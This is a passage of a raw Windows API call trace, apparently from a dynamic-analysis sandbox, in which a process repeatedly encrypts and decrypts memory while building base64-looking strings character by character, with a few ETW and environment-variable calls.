Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.073] SysStringLen (param_1="zjRV6Ms4x+eyl073h0gHrvRLQUrc馌슠") returned 0x20 [0135.073] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.073] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\xd154\x5a23\x80f4\xe5f0\x561d\x4e19\xc698\x928") returned 0x20 [0135.073] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\xd154\x5a23\x80f4\xe5f0\x561d\x4e19\xc698\x928") returned 0x20 [0135.073] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.073] SysStringLen (param_1="zjRV6Ms4x+eyl073h0gHrvRLQUrct슠") returned 0x20 [0135.073] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.073] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\xcadf\x5723\x17c3\x6e4c\x5a6c\x1f22\xc97d\x8816") returned 0x20 [0135.073] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\xcadf\x5723\x17c3\x6e4c\x5a6c\x1f22\xc97d\x8816") returned 0x20 [0135.073] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.073] SysStringLen (param_1="zjRV6Ms4x+eyl073h0gHrvRLQUrctA슠") returned 0x20 [0135.073] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.073] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\x882b\x6014\xb116\xe144\xe42f\x920c\x394e\x82b8") returned 0x20 [0135.073] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\x882b\x6014\xb116\xe144\xe42f\x920c\x394e\x82b8") returned 0x20 [0135.073] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.073] SysStringLen (param_1="zjRV6Ms4x+eyl073h0gHrvRLQUrctA0슠") returned 0x20 [0135.073] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.074] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\x687\x55d1\x18c8\x66aa\xd3d3\x2450\xc8cb\x47e7") returned 0x20 [0135.074] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\x687\x55d1\x18c8\x66aa\xd3d3\x2450\xc8cb\x47e7") returned 0x20 [0135.074] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.074] SysStringLen (param_1="zjRV6Ms4x+eyl073h0gHrvRLQUrctA0B") returned 0x20 [0135.074] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.074] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\xbadd\x5c04\xd424\xb360\x430e\x6418\xee50\xcd84") returned 0x20 [0135.074] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\xbadd\x5c04\xd424\xb360\x430e\x6418\xee50\xcd84") returned 0x20 [0135.074] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\xbadd\x5c04\xd424\xb360\x430e\x6418\xee50\xcd84") returned 0x20 [0135.074] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\xbadd\x5c04\xd424\xb360\x430e\x6418\xee50\xcd84\x37\x43\x2e\x6d\x70\x33\x2e\x6c") returned 0x28 [0135.074] SystemFunction041 (in: Memory=0x4383164, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383164) returned 0x0 [0135.074] SysStringLen (param_1="zjRV6Ms4x+eyl073h0gHrvRLQUrctA0Bb檻咈㺢쀫溞曞") returned 0x28 [0135.074] SystemFunction040 (in: Memory=0x4383164, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383164) returned 0x0 [0135.074] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\xbadd\x5c04\xd424\xb360\x430e\x6418\xee50\xcd84\x489b\x45f3\x81bc\xb7e3\xfccd\x2b52\x6a94\xb580") returned 0x28 [0135.074] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\xbadd\x5c04\xd424\xb360\x430e\x6418\xee50\xcd84\x489b\x45f3\x81bc\xb7e3\xfccd\x2b52\x6a94\xb580") returned 0x28 [0135.074] SystemFunction041 (in: Memory=0x4383164, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383164) returned 0x0 [0135.074] SysStringLen (param_1="zjRV6Ms4x+eyl073h0gHrvRLQUrctA0BbO咈㺢쀫溞曞") returned 0x28 [0135.074] SystemFunction040 (in: Memory=0x4383164, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383164) returned 0x0 [0135.074] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\xbadd\x5c04\xd424\xb360\x430e\x6418\xee50\xcd84\xbee0\x7041\xe986\xb197\x9739\xc086\x576a\x27b9") returned 0x28 [0135.074] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\xbadd\x5c04\xd424\xb360\x430e\x6418\xee50\xcd84\xbee0\x7041\xe986\xb197\x9739\xc086\x576a\x27b9") returned 0x28 [0135.074] SystemFunction041 (in: Memory=0x4383164, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383164) returned 0x0 [0135.074] SysStringLen (param_1="zjRV6Ms4x+eyl073h0gHrvRLQUrctA0BbOd㺢쀫溞曞") returned 0x28 [0135.074] SystemFunction040 (in: Memory=0x4383164, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383164) returned 0x0 [0135.075] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\xbadd\x5c04\xd424\xb360\x430e\x6418\xee50\xcd84\xb7c2\xe938\x83b8\xab\xb575\x5500\xbc54\x7461") returned 0x28 [0135.075] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\xbadd\x5c04\xd424\xb360\x430e\x6418\xee50\xcd84\xb7c2\xe938\x83b8\xab\xb575\x5500\xbc54\x7461") returned 0x28 [0135.075] SystemFunction041 (in: Memory=0x4383164, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383164) returned 0x0 [0135.075] SysStringLen (param_1="zjRV6Ms4x+eyl073h0gHrvRLQUrctA0BbOdT쀫溞曞") returned 0x28 [0135.075] SystemFunction040 (in: Memory=0x4383164, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383164) returned 0x0 [0135.075] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\xbadd\x5c04\xd424\xb360\x430e\x6418\xee50\xcd84\xe6c\xdd7f\x1649\x4910\x7fb5\xda40\xb22e\xcc4") returned 0x28 [0135.075] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\xbadd\x5c04\xd424\xb360\x430e\x6418\xee50\xcd84\xe6c\xdd7f\x1649\x4910\x7fb5\xda40\xb22e\xcc4") returned 0x28 [0135.075] SystemFunction041 (in: Memory=0x4383164, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383164) returned 0x0 [0135.075] SysStringLen (param_1="zjRV6Ms4x+eyl073h0gHrvRLQUrctA0BbOdTP溞曞") returned 0x28 [0135.075] SystemFunction040 (in: Memory=0x4383164, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383164) returned 0x0 [0135.075] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\xbadd\x5c04\xd424\xb360\x430e\x6418\xee50\xcd84\x9f4e\x7217\x96ea\x1ee6\x4aa0\x2fdf\x7309\xf26e") returned 0x28 [0135.075] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\xbadd\x5c04\xd424\xb360\x430e\x6418\xee50\xcd84\x9f4e\x7217\x96ea\x1ee6\x4aa0\x2fdf\x7309\xf26e") returned 0x28 [0135.075] SystemFunction041 (in: Memory=0x4383164, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383164) returned 0x0 [0135.075] SysStringLen (param_1="zjRV6Ms4x+eyl073h0gHrvRLQUrctA0BbOdTP1溞曞") returned 0x28 [0135.075] SystemFunction040 (in: Memory=0x4383164, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383164) returned 0x0 [0135.075] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\xbadd\x5c04\xd424\xb360\x430e\x6418\xee50\xcd84\x532f\xd50a\x6771\xa4ee\xad3a\xda78\xdba3\x4642") returned 0x28 [0135.075] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\xbadd\x5c04\xd424\xb360\x430e\x6418\xee50\xcd84\x532f\xd50a\x6771\xa4ee\xad3a\xda78\xdba3\x4642") returned 0x28 [0135.075] SystemFunction041 (in: Memory=0x4383164, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383164) returned 0x0 [0135.075] SysStringLen (param_1="zjRV6Ms4x+eyl073h0gHrvRLQUrctA0BbOdTP1g曞") returned 0x28 [0135.075] SystemFunction040 (in: Memory=0x4383164, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383164) returned 0x0 [0135.075] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\xbadd\x5c04\xd424\xb360\x430e\x6418\xee50\xcd84\x244b\x3c81\xb5f4\xb3a8\xb7f\xf2d7\x4f5a\xec4c") returned 0x28 [0135.075] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\xbadd\x5c04\xd424\xb360\x430e\x6418\xee50\xcd84\x244b\x3c81\xb5f4\xb3a8\xb7f\xf2d7\x4f5a\xec4c") returned 0x28 [0135.076] SystemFunction041 (in: Memory=0x4383164, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383164) returned 0x0 [0135.076] SysStringLen (param_1="zjRV6Ms4x+eyl073h0gHrvRLQUrctA0BbOdTP1g/") returned 0x28 [0135.076] SystemFunction040 (in: Memory=0x4383164, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383164) returned 0x0 [0135.076] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\xbadd\x5c04\xd424\xb360\x430e\x6418\xee50\xcd84\x89ba\xcb8c\x7ad6\xa63\xfb2e\x89a3\xa32f\x54ca") returned 0x28 [0135.076] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\xbadd\x5c04\xd424\xb360\x430e\x6418\xee50\xcd84\x89ba\xcb8c\x7ad6\xa63\xfb2e\x89a3\xa32f\x54ca") returned 0x28 [0135.076] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\xbadd\x5c04\xd424\xb360\x430e\x6418\xee50\xcd84\x89ba\xcb8c\x7ad6\xa63\xfb2e\x89a3\xa32f\x54ca") returned 0x28 [0135.076] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\xbadd\x5c04\xd424\xb360\x430e\x6418\xee50\xcd84\x89ba\xcb8c\x7ad6\xa63\xfb2e\x89a3\xa32f\x54ca\x64\x7a\x41\x75\x5a\x6b\x48\x33") returned 0x30 [0135.076] SystemFunction041 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0135.076] SysStringLen (param_1="zjRV6Ms4x+eyl073h0gHrvRLQUrctA0BbOdTP1g/hꙝ䵅溿縛哬堗㙸") returned 0x30 [0135.076] SystemFunction040 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0135.076] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\xbadd\x5c04\xd424\xb360\x430e\x6418\xee50\xcd84\x89ba\xcb8c\x7ad6\xa63\xfb2e\x89a3\xa32f\x54ca\xbdf3\x6a5e\xc80b\x4de9\xbcf8\x6bc3\x7008\x3039") returned 0x30 [0135.076] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\xbadd\x5c04\xd424\xb360\x430e\x6418\xee50\xcd84\x89ba\xcb8c\x7ad6\xa63\xfb2e\x89a3\xa32f\x54ca\xbdf3\x6a5e\xc80b\x4de9\xbcf8\x6bc3\x7008\x3039") returned 0x30 [0135.076] SystemFunction041 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0135.076] SysStringLen (param_1="zjRV6Ms4x+eyl073h0gHrvRLQUrctA0BbOdTP1g/hd䵅溿縛哬堗㙸") returned 0x30 [0135.076] SystemFunction040 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0135.076] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\xbadd\x5c04\xd424\xb360\x430e\x6418\xee50\xcd84\x89ba\xcb8c\x7ad6\xa63\xfb2e\x89a3\xa32f\x54ca\x60d7\x526c\x39cd\xf0bd\xdd54\x8de8\x4b2b\x4325") returned 0x30 [0135.076] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\xbadd\x5c04\xd424\xb360\x430e\x6418\xee50\xcd84\x89ba\xcb8c\x7ad6\xa63\xfb2e\x89a3\xa32f\x54ca\x60d7\x526c\x39cd\xf0bd\xdd54\x8de8\x4b2b\x4325") returned 0x30 [0135.076] SystemFunction041 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0135.076] SysStringLen (param_1="zjRV6Ms4x+eyl073h0gHrvRLQUrctA0BbOdTP1g/hd4溿縛哬堗㙸") returned 0x30 [0135.076] SystemFunction040 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0135.076] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\xbadd\x5c04\xd424\xb360\x430e\x6418\xee50\xcd84\x89ba\xcb8c\x7ad6\xa63\xfb2e\x89a3\xa32f\x54ca\x231e\x19f4\x735d\xfe9c\x5495\x3a9a\x1283\xf81f") returned 0x30 [0135.077] SysStringLen (param_1="\x704a\x5dee\x3c69\x8b95\x2050\x36a0\x8fcd\x6e08\xcab1\x21b0\xda80\xd4d7\x864c\xd668\x5305\xb5f4\xdeef\xed57\x2677\x99b2\x5d4c\xfa8a\x985f\xf273\xbadd\x5c04\xd424\xb360\x430e\x6418\xee50\xcd84\x89ba\xcb8c\x7ad6\xa63\xfb2e\x89a3\xa32f\x54ca\x231e\x19f4\x735d\xfe9c\x5495\x3a9a\x1283\xf81f") returned 0x30 [0135.077] SystemFunction041 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0135.077] SysStringLen (param_1="zjRV6Ms4x+eyl073h0gHrvRLQUrctA0BbOdTP1g/hd4=縛哬堗㙸") returned 0x30 [0135.077] SystemFunction040 (in: Memory=0x8e30c74, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30c74) returned 0x0 [0135.077] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa4, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.077] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa4, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.077] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa3, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa3, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.077] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer=" ") returned 0x0 [0135.077] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa5, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.077] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa3, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.077] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa5, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xa5, [1]=0x1a, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.077] SysStringLen (param_1="") returned 0x8 [0135.077] SysStringLen (param_1="Y") returned 0x8 [0135.077] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.078] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0135.078] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0135.078] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.078] SysStringLen (param_1="YW") returned 0x8 [0135.078] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.078] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0135.078] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0135.078] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.078] SysStringLen (param_1="YWM") returned 0x8 [0135.078] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.078] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0135.078] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0135.078] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.078] SysStringLen (param_1="YWM1") returned 0x8 [0135.078] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.078] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0135.078] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0135.078] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.078] SysStringLen (param_1="YWM1O") returned 0x8 [0135.078] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.078] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0135.079] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0135.079] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.079] SysStringLen (param_1="YWM1OT") returned 0x8 [0135.079] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.079] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0135.079] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0135.079] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.079] SysStringLen (param_1="YWM1OTE") returned 0x8 [0135.079] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.079] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0135.079] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0135.079] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.079] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0135.079] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.079] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0135.079] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0135.079] SysStringLen 